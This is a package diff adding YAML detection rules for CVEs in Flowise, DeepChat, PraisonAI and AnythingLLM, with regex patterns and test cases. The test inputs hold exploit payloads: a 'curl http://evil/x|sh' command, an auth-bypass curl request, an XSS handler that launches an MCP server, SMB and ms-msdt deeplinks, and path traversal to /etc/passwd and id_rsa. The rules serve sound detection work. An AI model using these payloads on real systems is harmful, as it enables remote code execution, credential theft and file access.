agent-threat-rules 3.5.3 → 3.5.4

package/rules/tool-poisoning/ATR-2026-01965-flowise-custommcp-os-command-rce.yaml

@@ -0,0 +1,137 @@
+title: "Flowise Custom MCP node-load-method OS Command RCE (CVE-2025-8943)"
+id: ATR-2026-01965
+rule_version: 1
+status: draft
+description: >
+  Detects CVE-2025-8943 (CVSS 9.8 CRITICAL, CWE-78): Flowise < 3.0.1 exposes the
+  Custom MCP feature via the POST /api/v1/node-load-method/customMCP endpoint,
+  which passes inputs.mcpServerConfig.command + args directly into StdioClientTransport
+  (unsandboxed OS exec). With loadMethod set to "listActions" and no FLOWISE_USERNAME/
+  PASSWORD configured, an attacker reaches RCE unauthenticated using the
+  x-request-from: internal header. This rule keys on the specific endpoint path, the
+  mcpServerConfig+loadMethod:listActions exploit triple, and the internal-header auth
+  bypass — NOT on generic command/args MCP config which is benign and ubiquitous.
+author: "ATR Community"
+date: "2026/06/29"
+schema_version: "0.1"
+detection_tier: pattern
+maturity: test
+severity: critical
+references:
+  owasp_llm:
+    - "LLM06:2025 - Excessive Agency"
+  owasp_agentic:
+    - "ASI06:2026 - Tool Misuse"
+  mitre_atlas:
+    - "AML.T0049 - Exploit Public-Facing Application"
+  mitre_attack:
+    - "T1190 - Exploit Public-Facing Application"
+  cve:
+    - "CVE-2025-8943"
+metadata_provenance:
+  mitre_atlas: human-reviewed
+  owasp_llm: human-reviewed
+  owasp_agentic: human-reviewed
+compliance:
+  eu_ai_act:
+    - article: "15"
+      context: "Article 15 (accuracy, robustness, cybersecurity) — runtime detection of this technique is a cybersecurity control for high-risk AI systems. Technique: Flowise Custom MCP node-load-method OS Command RCE (CVE-2025-8943)."
+      strength: primary
+    - article: "9"
+      context: "Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control. Technique: Flowise Custom MCP node-load-method OS Command RCE (CVE-2025-8943)."
+      strength: secondary
+  nist_ai_rmf:
+    - subcategory: "MP.5.1"
+      context: "NIST AI RMF MAP 5.1 — likelihood and impact of the identified attack are characterised; this rule detects the adversarial input at runtime. Technique: Flowise Custom MCP node-load-method OS Command RCE (CVE-2025-8943)."
+      strength: primary
+    - subcategory: "MG.3.2"
+      context: "NIST AI RMF MANAGE 3.2 — runtime monitoring/maintenance control that surfaces this attack class. Technique: Flowise Custom MCP node-load-method OS Command RCE (CVE-2025-8943)."
+      strength: secondary
+  iso_42001:
+    - clause: "8.1"
+      context: "ISO/IEC 42001 Clause 8.1 (operational planning and control) — detection of this payload is an operational control. Technique: Flowise Custom MCP node-load-method OS Command RCE (CVE-2025-8943)."
+      strength: primary
+    - clause: "8.3"
+      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) — this rule implements runtime detection as a treatment control. Technique: Flowise Custom MCP node-load-method OS Command RCE (CVE-2025-8943)."
+      strength: secondary
+tags:
+  category: tool-poisoning
+  subcategory: flowise-custommcp-os-command-rce
+  scan_target: both
+  confidence: high
+  source: cve-disclosure
+  vendor_sources: flowise-cve-2025-8943
+agent_source:
+  type: llm_io
+  framework:
+    - any
+  provider:
+    - any
+detection:
+  condition: any
+  false_positives:
+    - "Legitimate Flowise Custom MCP node configuring a real local MCP server (e.g. command npx, args @modelcontextprotocol/server-filesystem) without the listActions loadMethod probe shape."
+    - "Generic MCP server JSON config containing command/args keys, which is standard and benign across thousands of MCP clients."
+    - "Flowise documentation or patch advisory referencing the node-load-method endpoint without an exploit payload or the internal auth-bypass header."
+  conditions:
+    - field: content
+      operator: regex
+      value: '(?i)node-load-method/customMCP[\s\S]{0,400}mcpServerConfig[\s\S]{0,400}["\x27]?loadMethod["\x27]?\s*[:=]\s*["\x27]listActions["\x27]'
+      description: >
+        Flowise customMCP node-load-method endpoint combined with the
+        mcpServerConfig payload and loadMethod:listActions probe — the exact
+        CVE-2025-8943 RCE request shape
+    - field: content
+      operator: regex
+      value: '(?i)mcpServerConfig["\x27]?\s*:\s*\{[\s\S]{0,200}["\x27]command["\x27]?\s*:[\s\S]{0,300}["\x27]?loadMethod["\x27]?\s*:\s*["\x27]listActions["\x27]'
+      description: >
+        inputs.mcpServerConfig.command JSON body paired with loadMethod
+        listActions — the Custom MCP command-exec trigger used in the PoC
+    - field: content
+      operator: regex
+      value: '(?i)x-request-from\s*:\s*internal[\s\S]{0,300}(?:node-load-method/customMCP|mcpServerConfig)'
+      description: >
+        x-request-from: internal auth-bypass header combined with the customMCP
+        endpoint or mcpServerConfig — unauthenticated RCE path for default installs
+    - field: content
+      operator: regex
+      value: '(?i)CVE-2025-8943[\s\S]{0,200}(?:customMCP|mcpServerConfig|node-load-method|StdioClientTransport|listActions)'
+      description: "explicit CVE framing tied to the Flowise customMCP sink"
+response:
+  actions:
+    - alert
+    - block_input
+  message_template: >
+    [ATR-2026-01965] CRITICAL: Flowise Custom MCP RCE (CVE-2025-8943, CVSS 9.8) —
+    node-load-method/customMCP runs mcpServerConfig.command/args via
+    StdioClientTransport, reachable unauthenticated with x-request-from: internal.
+    Block this input and upgrade Flowise to >= 3.0.1 (flowise-components >= 3.0.8).
+confidence: 85
+wild_fp_rate: 0
+test_cases:
+  true_positives:
+    - input: 'POST /api/v1/node-load-method/customMCP {"inputs":{"mcpServerConfig":{"command":"touch","args":["/tmp/yofitofi"]}},"loadMethod":"listActions"}'
+      expected: triggered
+      description: "Exact JFrog PoC: customMCP endpoint + mcpServerConfig command/args + loadMethod listActions"
+    - input: '{"inputs": {"mcpServerConfig": {"command": "bash", "args": ["-c", "curl http://evil/x|sh"]}}, "loadMethod": "listActions"}'
+      expected: triggered
+      description: "mcpServerConfig.command bash reverse-shell payload with the listActions trigger"
+    - input: 'curl -H "x-request-from: internal" http://target:3000/api/v1/node-load-method/customMCP -d @payload --mcpServerConfig command'
+      expected: triggered
+      description: "Unauthenticated exploit using x-request-from internal header against the customMCP endpoint"
+    - input: "CVE-2025-8943 Flowise RCE: send mcpServerConfig command/args to node-load-method/customMCP with loadMethod listActions"
+      expected: triggered
+      description: "Attack-framing text tying CVE-2025-8943 to the customMCP sink"
+  true_negatives:
+    - input: '{"command": "npx", "args": ["-y", "@modelcontextprotocol/server-filesystem", "/data"]}'
+      expected: not_triggered
+      description: "Standard benign MCP server config with command/args but no Flowise endpoint, mcpServerConfig, or listActions"
+    - input: 'In Flowise, the node-load-method endpoint loads available node parameters when you open a node in the canvas editor.'
+      expected: not_triggered
+      description: "Benign mention of the node-load-method endpoint with no mcpServerConfig payload or loadMethod listActions"
+    - input: '{"mcpServerConfig": {"command": "npx", "args": ["@my-org/mcp-server"]}, "loadMethod": "loadConfig"}'
+      expected: not_triggered
+      description: "Real Custom MCP config wiring a legitimate server — loadMethod is not the listActions probe used by the exploit"
+    - input: "Upgrade Flowise to 3.0.1 to patch CVE-2025-8943; the fix adds authentication to the Custom MCP node."
+      expected: not_triggered
+      description: "Mitigation advisory referencing the CVE without any exploit payload or auth-bypass header"

package/rules/tool-poisoning/ATR-2026-01967-deepchat-mermaid-xss-rce-ipc-mcp-register.yaml

@@ -0,0 +1,97 @@
+title: "DeepChat Mermaid XSS to RCE via Electron IPC MCP Server Registration (CVE-2025-66481 / GHSA-h9f5-7hhf-fqm4)"
+id: ATR-2026-01967
+rule_version: 1
+status: draft
+description: >
+  Detects CVE-2025-66481 (CVSS 9.6 CRITICAL): DeepChat <= 0.5.1 incompletely
+  sanitizes Mermaid diagram content in MermaidArtifact.vue. The sanitizer regex
+  /on\w+\s*=\s*["'][^"']*["']/ only strips QUOTED event-handler attributes, so an
+  unquoted handler (e.g. `<audio src=x onerror=...>`) survives and executes in the
+  Electron renderer. The PoC handler invokes window.electron.ipcRenderer.invoke
+  ('presenter:call','mcpPresenter','addMcpServer',...) then 'startServer' to register
+  and launch a malicious stdio MCP server (command:'calc.exe'), escalating stored
+  XSS to remote code execution. This rule keys on the unquoted-onerror + IPC
+  presenter:call mcpPresenter addMcpServer/startServer tokens, not on Mermaid alone.
+author: "ATR Community"
+date: "2026/06/29"
+schema_version: "0.1"
+detection_tier: pattern
+maturity: test
+severity: critical
+references:
+  owasp_llm: ["LLM06:2025 - Excessive Agency"]
+  owasp_agentic: ["ASI06:2026 - Tool Misuse"]
+  mitre_atlas: ["AML.T0049 - Exploit Public-Facing Application"]
+  mitre_attack: ["T1190 - Exploit Public-Facing Application"]
+  cve: ["CVE-2025-66481"]
+metadata_provenance: { mitre_atlas: human-reviewed, owasp_llm: human-reviewed, owasp_agentic: human-reviewed }
+compliance:
+  eu_ai_act:
+    - article: "15"
+      context: "Article 15 (accuracy, robustness, cybersecurity) — runtime detection of this technique is a cybersecurity control for high-risk AI systems. Technique: DeepChat Mermaid XSS to RCE via Electron IPC MCP Server Registration (CVE-2025-66481 / GHSA-h9f5-7hhf-fqm4)."
+      strength: primary
+    - article: "9"
+      context: "Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control. Technique: DeepChat Mermaid XSS to RCE via Electron IPC MCP Server Registration (CVE-2025-66481 / GHSA-h9f5-7hhf-fqm4)."
+      strength: secondary
+  nist_ai_rmf:
+    - subcategory: "MP.5.1"
+      context: "NIST AI RMF MAP 5.1 — likelihood and impact of the identified attack are characterised; this rule detects the adversarial input at runtime. Technique: DeepChat Mermaid XSS to RCE via Electron IPC MCP Server Registration (CVE-2025-66481 / GHSA-h9f5-7hhf-fqm4)."
+      strength: primary
+    - subcategory: "MG.3.2"
+      context: "NIST AI RMF MANAGE 3.2 — runtime monitoring/maintenance control that surfaces this attack class. Technique: DeepChat Mermaid XSS to RCE via Electron IPC MCP Server Registration (CVE-2025-66481 / GHSA-h9f5-7hhf-fqm4)."
+      strength: secondary
+  iso_42001:
+    - clause: "8.1"
+      context: "ISO/IEC 42001 Clause 8.1 (operational planning and control) — detection of this payload is an operational control. Technique: DeepChat Mermaid XSS to RCE via Electron IPC MCP Server Registration (CVE-2025-66481 / GHSA-h9f5-7hhf-fqm4)."
+      strength: primary
+    - clause: "8.3"
+      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) — this rule implements runtime detection as a treatment control. Technique: DeepChat Mermaid XSS to RCE via Electron IPC MCP Server Registration (CVE-2025-66481 / GHSA-h9f5-7hhf-fqm4)."
+      strength: secondary
+tags: { category: tool-poisoning, subcategory: mermaid-xss-ipc-rce, scan_target: both, confidence: high, source: cve-disclosure, vendor_sources: deepchat-cve-2025-66481 }
+agent_source: { type: llm_io, framework: [any], provider: [any] }
+detection:
+  condition: any
+  false_positives:
+    - "A legitimate Mermaid diagram (graph/flowchart/sequenceDiagram) with node labels and no event-handler attributes or IPC calls."
+    - "DeepChat source/docs discussing the electron.ipcRenderer presenter bridge or mcpPresenter API without an embedded onerror handler payload."
+    - "A normal addMcpServer config object with command:'npx' that is not wrapped inside an HTML event handler attribute."
+  conditions:
+    - field: content
+      operator: regex
+      value: '(?i)<\s*(?:audio|img|video|svg|image|object|input|body|details)\b[^>]*\bon\w+\s*=\s*[^"''\s>][^>]*?(?:electron\.)?ipcRenderer\.invoke\s*\(\s*[''"]presenter:call[''"]'
+      description: "one line: HTML tag with an UNQUOTED event handler whose body calls ipcRenderer.invoke('presenter:call' — the CVE-2025-66481 sanitizer-bypass + IPC sink"
+    - field: content
+      operator: regex
+      value: '(?i)ipcRenderer\.invoke\([^)]*[''"]mcpPresenter[''"][^)]*[''"](?:addMcpServer|startServer)[''"]'
+      description: "one line: Electron IPC presenter:call into mcpPresenter registering/starting an MCP server — the RCE escalation primitive"
+    - field: content
+      operator: regex
+      value: '(?i)CVE-2025-66481[\s\S]{0,200}(?:mermaid|MermaidArtifact|onerror|ipcRenderer|mcpPresenter)'
+      description: "explicit CVE framing"
+response:
+  actions: [alert, block_input]
+  message_template: >
+    [ATR-2026-01967] CRITICAL: DeepChat Mermaid XSS bypass (CVE-2025-66481) escalates to RCE by registering a malicious MCP server via electron ipcRenderer. Block and upgrade past 0.5.1.
+confidence: 85
+wild_fp_rate: 0
+test_cases:
+  true_positives:
+    - input: "<audio src=x onerror=window.electron.ipcRenderer.invoke('presenter:call','mcpPresenter','addMcpServer','test',{command:'calc.exe',args:[],type:'stdio',enabled:true,name:'test'}).then(()=>window.electron.ipcRenderer.invoke('presenter:call','mcpPresenter','startServer','test'))>"
+      expected: triggered
+      description: "Exact CVE-2025-66481 PoC: unquoted onerror on <audio> survives the sanitizer and invokes mcpPresenter addMcpServer/startServer for RCE"
+    - input: "graph TD; A[<img src=x onerror=electron.ipcRenderer.invoke('presenter:call','mcpPresenter','addMcpServer','x',{command:'powershell',args:[],type:'stdio'})>]"
+      expected: triggered
+      description: "Same bypass inside a Mermaid node label using <img> unquoted onerror into the mcpPresenter IPC sink"
+    - input: "window.electron.ipcRenderer.invoke('presenter:call','mcpPresenter','startServer','test')"
+      expected: triggered
+      description: "The IPC escalation primitive that launches the attacker-registered MCP server"
+  true_negatives:
+    - input: "graph TD; A[Start] --> B[Process] --> C[End]"
+      expected: not_triggered
+      description: "Benign Mermaid flowchart with plain node labels, no event handler or IPC call"
+    - input: "DeepChat uses electron.ipcRenderer for its presenter bridge; see mcpPresenter docs for how addMcpServer registers a server."
+      expected: not_triggered
+      description: "Documentation mentioning the presenter/mcpPresenter API without an unquoted onerror handler or the invoke() call shape"
+    - input: "<img src=\"diagram.png\" onerror=\"showFallback()\" alt=\"architecture\">"
+      expected: not_triggered
+      description: "Legitimate quoted onerror fallback handler with no ipcRenderer/presenter:call payload"

package/rules/tool-poisoning/ATR-2026-01968-deepchat-markdown-deeplink-openexternal-rce-bypass.yaml

@@ -0,0 +1,149 @@
+title: "DeepChat Markdown Deeplink shell.openExternal Protocol Bypass RCE (CVE-2026-43899, GHSA-cp8j-jx7q-7r5f)"
+id: ATR-2026-01968
+rule_version: 1
+status: draft
+description: >
+  Detects CVE-2026-43899 / GHSA-cp8j-jx7q-7r5f (CRITICAL): incomplete fix of
+  CVE-2025-55733 in ThinkInAIXYZ/deepchat (< 1.0.4-beta.1). The native Electron
+  window handler in src/main/presenter/tabPresenter.ts calls shell.openExternal(url)
+  inside setWindowOpenHandler() without the ALLOWED_PROTOCOLS check that exists in
+  the renderer preload, so a Markdown link rendered with target="_blank" reaches
+  the OS protocol handler unsanitised. A poisoned LLM API response (e.g. from a
+  custom /v1/chat/completions endpoint) returns Markdown such as
+  "[click here](calculator://)" or "[open](smb://attacker/share)" to launch
+  arbitrary protocol handlers (calculator://, smb://, ms-msdt://, bash://,
+  file://) for host-level code execution and NTLM credential theft over SMB.
+author: "ATR Community"
+date: "2026/06/29"
+schema_version: "0.1"
+detection_tier: pattern
+maturity: test
+severity: critical
+references:
+  owasp_llm:
+    - "LLM06:2025 - Excessive Agency"
+    - "LLM05:2025 - Improper Output Handling"
+  owasp_agentic:
+    - "ASI06:2026 - Tool Misuse"
+    - "ASI05:2026 - Unexpected Code Execution"
+  mitre_atlas:
+    - "AML.T0049 - Exploit Public-Facing Application"
+  mitre_attack:
+    - "T1190 - Exploit Public-Facing Application"
+    - "T1204.001 - User Execution: Malicious Link"
+  cve:
+    - "CVE-2026-43899"
+    - "GHSA-cp8j-jx7q-7r5f"
+metadata_provenance:
+  mitre_atlas: human-reviewed
+  owasp_llm: human-reviewed
+  owasp_agentic: human-reviewed
+compliance:
+  eu_ai_act:
+    - article: "15"
+      context: "Article 15 (accuracy, robustness, cybersecurity) — runtime detection of this technique is a cybersecurity control for high-risk AI systems. Technique: DeepChat Markdown Deeplink shell.openExternal Protocol Bypass RCE (CVE-2026-43899, GHSA-cp8j-jx7q-7r5f)."
+      strength: primary
+    - article: "9"
+      context: "Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control. Technique: DeepChat Markdown Deeplink shell.openExternal Protocol Bypass RCE (CVE-2026-43899, GHSA-cp8j-jx7q-7r5f)."
+      strength: secondary
+  nist_ai_rmf:
+    - subcategory: "MP.5.1"
+      context: "NIST AI RMF MAP 5.1 — likelihood and impact of the identified attack are characterised; this rule detects the adversarial input at runtime. Technique: DeepChat Markdown Deeplink shell.openExternal Protocol Bypass RCE (CVE-2026-43899, GHSA-cp8j-jx7q-7r5f)."
+      strength: primary
+    - subcategory: "MG.3.2"
+      context: "NIST AI RMF MANAGE 3.2 — runtime monitoring/maintenance control that surfaces this attack class. Technique: DeepChat Markdown Deeplink shell.openExternal Protocol Bypass RCE (CVE-2026-43899, GHSA-cp8j-jx7q-7r5f)."
+      strength: secondary
+  iso_42001:
+    - clause: "8.1"
+      context: "ISO/IEC 42001 Clause 8.1 (operational planning and control) — detection of this payload is an operational control. Technique: DeepChat Markdown Deeplink shell.openExternal Protocol Bypass RCE (CVE-2026-43899, GHSA-cp8j-jx7q-7r5f)."
+      strength: primary
+    - clause: "8.3"
+      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) — this rule implements runtime detection as a treatment control. Technique: DeepChat Markdown Deeplink shell.openExternal Protocol Bypass RCE (CVE-2026-43899, GHSA-cp8j-jx7q-7r5f)."
+      strength: secondary
+tags:
+  category: tool-poisoning
+  subcategory: markdown-deeplink-protocol-handler-rce
+  scan_target: both
+  confidence: high
+  source: cve-disclosure
+  vendor_sources: deepchat-cve-2026-43899
+agent_source:
+  type: llm_io
+  framework:
+    - any
+  provider:
+    - any
+detection:
+  condition: any
+  false_positives:
+    - "Benign Markdown link to an https:// or http:// web page, e.g. [docs](https://example.com)."
+    - "Legitimate [open file](file:///Users/me/report.pdf) link to a local document with no UNC/SMB host."
+    - "Mitigation advisory text recommending upgrade to deepchat 1.0.4-beta.1 without a deeplink payload."
+    - "Electron docs describing setWindowOpenHandler returning { action: 'deny' } with a proper protocol allowlist."
+  conditions:
+    - field: content
+      operator: regex
+      value: '(?i)\]\(\s*(?:calculator|smb|ms-msdt|search-ms|ms-officecmd|bash|sh|cmd|vbscript|jar|tel|telnet)://[^)\s]*\)'
+      description: >
+        Markdown link whose target is a dangerous OS protocol handler scheme
+        (calculator/smb/ms-msdt/bash/etc.) — the CVE-2026-43899 deeplink payload
+        shape that bypasses shell.openExternal protocol validation.
+    - field: content
+      operator: regex
+      value: '(?i)\]\(\s*(?:file|smb)://(?://|\\\\|[a-z0-9._-]+/[a-z0-9$._-]+)[^)\s]*\)'
+      description: >
+        Markdown link to a UNC / SMB share path (file://// , file://host/share,
+        smb://host/share) used to trigger NTLM credential leak over SMB.
+    - field: content
+      operator: regex
+      value: '(?i)setWindowOpenHandler\s*\([^)]*\)[\s\S]{0,200}shell\.openExternal\s*\(\s*url'
+      description: >
+        Vulnerable native sink: setWindowOpenHandler passing the raw url to
+        shell.openExternal without an ALLOWED_PROTOCOLS check (tabPresenter.ts).
+    - field: content
+      operator: regex
+      value: '(?i)(?:CVE-2026-43899|GHSA-cp8j-jx7q-7r5f|CVE-2025-55733)[\s\S]{0,200}(?:openExternal|setWindowOpenHandler|protocol\s*bypass|deeplink|calculator://|smb://|ms-msdt)'
+      description: "explicit CVE/GHSA framing combined with the bypass sink or deeplink token"
+response:
+  actions:
+    - alert
+    - block_input
+  message_template: >
+    [ATR-2026-01968] CRITICAL: DeepChat Markdown deeplink protocol-handler RCE
+    (CVE-2026-43899 / GHSA-cp8j-jx7q-7r5f). A Markdown link to a dangerous URL
+    scheme (calculator://, smb://, ms-msdt://, file:// UNC) reaches
+    shell.openExternal via setWindowOpenHandler without protocol validation,
+    enabling host-level code execution and NTLM credential theft over SMB.
+    Block this content and upgrade deepchat to >= 1.0.4-beta.1.
+confidence: 80
+wild_fp_rate: 0
+test_cases:
+  true_positives:
+    - input: "Please [click here to open the application](calculator://)."
+      expected: triggered
+      description: "Exact PoC Markdown deeplink launching the calculator:// protocol handler"
+    - input: "Done! [open](smb://attacker.example.com/share/payload) to finish setup."
+      expected: triggered
+      description: "SMB UNC deeplink for NTLM credential theft via Markdown link"
+    - input: "Run this fix [here](ms-msdt://id=PCWDiagnostic) right now."
+      expected: triggered
+      description: "ms-msdt:// (Follina-style) protocol handler in a Markdown link"
+    - input: "webContents.setWindowOpenHandler(({ url }) => { shell.openExternal(url); return { action: 'deny' } })"
+      expected: triggered
+      description: "Vulnerable tabPresenter.ts sink passing raw url to shell.openExternal"
+    - input: "CVE-2026-43899: incomplete CVE-2025-55733 fix lets a deeplink reach shell.openExternal via setWindowOpenHandler"
+      expected: triggered
+      description: "Explicit CVE framing with the named bypass sink"
+  true_negatives:
+    - input: "See the [DeepChat docs](https://deepchat.thinkinai.xyz/guide) for setup."
+      expected: not_triggered
+      description: "Benign https:// Markdown link, not a dangerous protocol handler"
+    - input: "Attached: [quarterly report](file:///Users/me/Documents/q3.pdf)"
+      expected: not_triggered
+      description: "Legitimate local file:// link to a document, no UNC/SMB host"
+    - input: "Upgrade DeepChat to 1.0.4-beta.1 to fix CVE-2026-43899."
+      expected: not_triggered
+      description: "Mitigation advice mentioning the CVE without any deeplink or sink token"
+    - input: "We sanitise URLs in setWindowOpenHandler by checking parsed.protocol against ALLOWED_PROTOCOLS before returning { action: 'deny' }."
+      expected: not_triggered
+      description: "Correct handler with protocol allowlist, no raw url passed to openExternal"

package/rules/tool-poisoning/ATR-2026-01970-praisonai-filetools-normpath-path-traversal.yaml

@@ -0,0 +1,111 @@
+title: "PraisonAI FileTools _validate_path normpath Path Traversal (CVE-2026-35615 / GHSA-693f-pf34-72c5)"
+id: ATR-2026-01970
+rule_version: 1
+status: draft
+description: >
+  Detects exploitation of CVE-2026-35615 (GHSA-693f-pf34-72c5, CWE-22, CVSS 9.2)
+  in PraisonAI < 1.5.113. FileTools._validate_path() calls os.path.normpath()
+  FIRST, collapsing '..' sequences, then checks `if '..' in normalized` — a check
+  that can never fire, so traversal succeeds. An attacker supplies a path such as
+  /tmp/../etc/passwd to read_file / write_file / delete_file and reaches any file
+  on the host. This rule keys on the distinctive normpath-then-dotdot-check sink,
+  the FileTools operation names with a traversal payload, and the canonical
+  /tmp/../etc/passwd PoC.
+author: "ATR Community"
+date: "2026/06/29"
+schema_version: "0.1"
+detection_tier: pattern
+maturity: test
+severity: critical
+references:
+  owasp_llm: ["LLM06:2025 - Excessive Agency"]
+  owasp_agentic: ["ASI06:2026 - Tool Misuse"]
+  mitre_atlas: ["AML.T0049 - Exploit Public-Facing Application"]
+  mitre_attack: ["T1190 - Exploit Public-Facing Application"]
+  cve: ["CVE-2026-35615"]
+metadata_provenance: { mitre_atlas: human-reviewed, owasp_llm: human-reviewed, owasp_agentic: human-reviewed }
+compliance:
+  eu_ai_act:
+    - article: "15"
+      context: "Article 15 (accuracy, robustness, cybersecurity) — runtime detection of this technique is a cybersecurity control for high-risk AI systems. Technique: PraisonAI FileTools _validate_path normpath Path Traversal (CVE-2026-35615 / GHSA-693f-pf34-72c5)."
+      strength: primary
+    - article: "9"
+      context: "Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control. Technique: PraisonAI FileTools _validate_path normpath Path Traversal (CVE-2026-35615 / GHSA-693f-pf34-72c5)."
+      strength: secondary
+  nist_ai_rmf:
+    - subcategory: "MP.5.1"
+      context: "NIST AI RMF MAP 5.1 — likelihood and impact of the identified attack are characterised; this rule detects the adversarial input at runtime. Technique: PraisonAI FileTools _validate_path normpath Path Traversal (CVE-2026-35615 / GHSA-693f-pf34-72c5)."
+      strength: primary
+    - subcategory: "MG.3.2"
+      context: "NIST AI RMF MANAGE 3.2 — runtime monitoring/maintenance control that surfaces this attack class. Technique: PraisonAI FileTools _validate_path normpath Path Traversal (CVE-2026-35615 / GHSA-693f-pf34-72c5)."
+      strength: secondary
+  iso_42001:
+    - clause: "8.1"
+      context: "ISO/IEC 42001 Clause 8.1 (operational planning and control) — detection of this payload is an operational control. Technique: PraisonAI FileTools _validate_path normpath Path Traversal (CVE-2026-35615 / GHSA-693f-pf34-72c5)."
+      strength: primary
+    - clause: "8.3"
+      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) — this rule implements runtime detection as a treatment control. Technique: PraisonAI FileTools _validate_path normpath Path Traversal (CVE-2026-35615 / GHSA-693f-pf34-72c5)."
+      strength: secondary
+tags: { category: tool-poisoning, subcategory: path-traversal, scan_target: both, confidence: high, source: cve-disclosure, vendor_sources: praisonai-cve-2026-35615 }
+agent_source: { type: llm_io, framework: [any], provider: [any] }
+detection:
+  condition: any
+  false_positives:
+    - "Legitimate FileTools.read_file('/workspace/data/report.txt') with an absolute path and no '..' traversal segment."
+    - "Security advisory or changelog text that names CVE-2026-35615 but contains no traversal payload."
+    - "Discussion of os.path.normpath usage in code review without a '../' traversal sink."
+  conditions:
+    - field: content
+      operator: regex
+      value: '(?i)(?:FileTools\.)?(?:read_file|write_file|delete_file|copy_file|move_file|get_file_info|list_files|download_file|_validate_path)\s*\(\s*[''"][^''"\n]{0,80}\.\.[\\/]+[^''"\n]{0,120}(?:etc[\\/]passwd|\.\.[\\/]|[\\/]root[\\/]|id_rsa|shadow)'
+      description: >
+        PraisonAI FileTools operation invoked with a relative path argument that
+        contains a '../' traversal segment reaching a sensitive target — the core
+        CVE-2026-35615 exploit shape.
+    - field: content
+      operator: regex
+      value: '(?i)(?:os\.path\.)?normpath\s*\([^)\n]{0,80}\)[\s\S]{0,160}(?:if\s+[''"]\.\.[''"]\s+in\b|[''"]\.\.[''"]\s+in\s+normalized)'
+      description: >
+        The vulnerable validation order: normpath() called first, then an
+        ineffective `'..' in normalized` check — the CVE-2026-35615 logic bug.
+    - field: content
+      operator: regex
+      value: '(?i)[''"/]?(?:tmp[\\/])?\.\.[\\/]+etc[\\/]+passwd'
+      description: >
+        Canonical /tmp/../etc/passwd traversal PoC string from the advisory.
+    - field: content
+      operator: regex
+      value: '(?i)CVE-2026-35615[\s\S]{0,200}(?:_validate_path|normpath|path\s*traversal|FileTools|\.\.[\\/])'
+      description: "explicit CVE framing combined with the vulnerable function or traversal token"
+response:
+  actions: [alert, block_input]
+  message_template: >
+    [ATR-2026-01970] CRITICAL: PraisonAI FileTools path traversal (CVE-2026-35615) —
+    normpath-then-dotdot-check lets '../' paths escape the workspace and read/write
+    any host file (e.g. /etc/passwd). Block this call and upgrade PraisonAI to >= 1.5.113.
+confidence: 80
+wild_fp_rate: 0
+test_cases:
+  true_positives:
+    - input: "FileTools.read_file('/tmp/../etc/passwd')"
+      expected: triggered
+      description: "Canonical advisory PoC — FileTools op with traversal to /etc/passwd"
+    - input: "result = _validate_path('/tmp/../../../root/.ssh/id_rsa')"
+      expected: triggered
+      description: "_validate_path called with multi-level traversal to a secret file"
+    - input: "normalized = os.path.normpath(filepath)\n    if '..' in normalized:\n        raise ValueError"
+      expected: triggered
+      description: "The vulnerable normpath-first then dead '..' check logic bug"
+    - input: "CVE-2026-35615 exploit: write_file('foo/../../../etc/passwd', payload) bypasses _validate_path"
+      expected: triggered
+      description: "Explicit CVE framing with FileTools traversal payload"
+  true_negatives:
+    - input: "FileTools.read_file('/workspace/output/results.json')"
+      expected: not_triggered
+      description: "Legitimate absolute path with no traversal segment"
+    - input: "Upgrade PraisonAI to >= 1.5.113 to remediate CVE-2026-35615."
+      expected: not_triggered
+      description: "Mitigation advisory text without any traversal payload"
+    - input: "We use os.path.normpath() to canonicalize the upload directory before saving."
+      expected: not_triggered
+      description: "Benign normpath mention with no dead '..' check and no traversal"

package/rules/tool-poisoning/ATR-2026-01973-anythingllm-logo-endpoint-path-traversal.yaml

@@ -0,0 +1,95 @@
+title: "AnythingLLM Logo Endpoint Path Traversal File Read/Delete (CVE-2024-3025)"
+id: ATR-2026-01973
+rule_version: 1
+status: draft
+description: >
+  Detects CVE-2024-3025 (CWE-23, CVSS CRITICAL): mintplex-labs/anything-llm
+  before 1.0.0 fails to validate the user-supplied logo filename on the
+  /api/system/upload-logo and /api/system/logo endpoints. An authenticated
+  attacker passes path-traversal sequences (../../../) in the logo filename to
+  read or delete arbitrary files outside the assets directory, with the SQLite
+  database storage/anythingllm.db as a high-value target. The fix added a
+  normalizePath() guard. This rule keys on the specific logo endpoint paths
+  combined with ../ traversal (raw or %2e%2e%2f-encoded) into storage/anythingllm.db.
+author: "ATR Community"
+date: "2026/06/29"
+schema_version: "0.1"
+detection_tier: pattern
+maturity: test
+severity: critical
+references:
+  owasp_llm: ["LLM06:2025 - Excessive Agency"]
+  owasp_agentic: ["ASI06:2026 - Tool Misuse"]
+  mitre_atlas: ["AML.T0049 - Exploit Public-Facing Application"]
+  mitre_attack: ["T1190 - Exploit Public-Facing Application"]
+  cve: ["CVE-2024-3025"]
+metadata_provenance: { mitre_atlas: human-reviewed, owasp_llm: human-reviewed, owasp_agentic: human-reviewed }
+compliance:
+  eu_ai_act:
+    - article: "15"
+      context: "Article 15 (accuracy, robustness, cybersecurity) — runtime detection of this technique is a cybersecurity control for high-risk AI systems. Technique: AnythingLLM Logo Endpoint Path Traversal File Read/Delete (CVE-2024-3025)."
+      strength: primary
+    - article: "9"
+      context: "Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control. Technique: AnythingLLM Logo Endpoint Path Traversal File Read/Delete (CVE-2024-3025)."
+      strength: secondary
+  nist_ai_rmf:
+    - subcategory: "MP.5.1"
+      context: "NIST AI RMF MAP 5.1 — likelihood and impact of the identified attack are characterised; this rule detects the adversarial input at runtime. Technique: AnythingLLM Logo Endpoint Path Traversal File Read/Delete (CVE-2024-3025)."
+      strength: primary
+    - subcategory: "MG.3.2"
+      context: "NIST AI RMF MANAGE 3.2 — runtime monitoring/maintenance control that surfaces this attack class. Technique: AnythingLLM Logo Endpoint Path Traversal File Read/Delete (CVE-2024-3025)."
+      strength: secondary
+  iso_42001:
+    - clause: "8.1"
